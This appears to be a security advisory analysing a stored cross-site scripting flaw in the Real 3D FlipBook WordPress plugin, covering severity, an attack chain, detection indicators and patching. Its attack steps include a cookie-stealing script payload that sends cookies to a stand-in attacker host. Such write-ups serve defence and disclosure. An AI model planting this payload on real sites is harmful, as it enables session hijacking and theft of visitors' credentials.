CVE-2025-68512: 
WordPress vulnerability analysis and mitigation

CVE-2025-68512 is a Stored Cross-Site Scripting (XSS) vulnerability in the Real 3D FlipBook WordPress plugin (slug: real3d-flipbook-lite) by creativeinteractivemedia. It affects all versions up to and including 4.11.4, and was reported by Muhammad Yudha - DJ on November 22, 2025, with public disclosure on December 22–24, 2025. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with at least Contributor or Developer-level privileges can inject malicious scripts into plugin-managed content fields, which are then stored in the database and rendered unsanitized to site visitors. Exploitation requires low privileges on the attacker's side but necessitates user interaction (a victim visiting the affected page) for the payload to execute in the victim's browser (Patchstack).

Successful exploitation allows an attacker to inject arbitrary HTML and JavaScript into pages rendered by the Real 3D FlipBook plugin, which executes in the browsers of site visitors. This can lead to session hijacking, credential theft, malicious redirects, defacement, or delivery of drive-by malware to site visitors. The scope is changed (C:L/I:L/A:L), meaning the injected script can affect resources beyond the plugin itself, including the broader WordPress site context (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for CVE-2025-68512. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack rates this as low priority and notes it is unlikely to be exploited, though XSS vulnerabilities in WordPress plugins are sometimes leveraged in mass-exploit campaigns targeting large numbers of sites (Patchstack).

1. Reconnaissance: Identify WordPress sites running the Real 3D FlipBook plugin (versions ≤ 4.11.4) using tools like WPScan or Shodan, or by checking the plugin's presence via /wp-content/plugins/real3d-flipbook-lite/.
2. Obtain low-privilege access: Register or obtain credentials for a Contributor or Developer account on the target WordPress site.
3. Inject malicious payload: Navigate to a plugin content field (e.g., a FlipBook creation or editing form) and insert a stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> into an unsanitized input field.
4. Save and publish: Submit the form to persist the payload in the WordPress database.
5. Trigger execution: When an authenticated administrator or site visitor views the page containing the FlipBook, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Logs: WordPress access logs showing POST requests to FlipBook plugin endpoints (e.g., /wp-admin/admin-ajax.php or plugin-specific admin pages) from low-privilege accounts containing script tags or encoded JavaScript payloads.
• Database: Unexpected <script> tags or JavaScript URIs stored in WordPress database tables associated with the Real 3D FlipBook plugin (e.g., wp_posts or plugin-specific tables).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages containing FlipBook content, potentially carrying cookie or session data in query parameters.
• File System: No direct file system artifacts expected for stored XSS, but monitor for unexpected changes to plugin files in /wp-content/plugins/real3d-flipbook-lite/.

The vendor has released a patched version: 4.16.4. All users running Real 3D FlipBook version 4.11.4 or earlier should update to 4.16.4 or later immediately via the WordPress plugin dashboard. If an immediate update is not possible, restrict Contributor and Developer role access to FlipBook content creation features, or temporarily deactivate the plugin. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).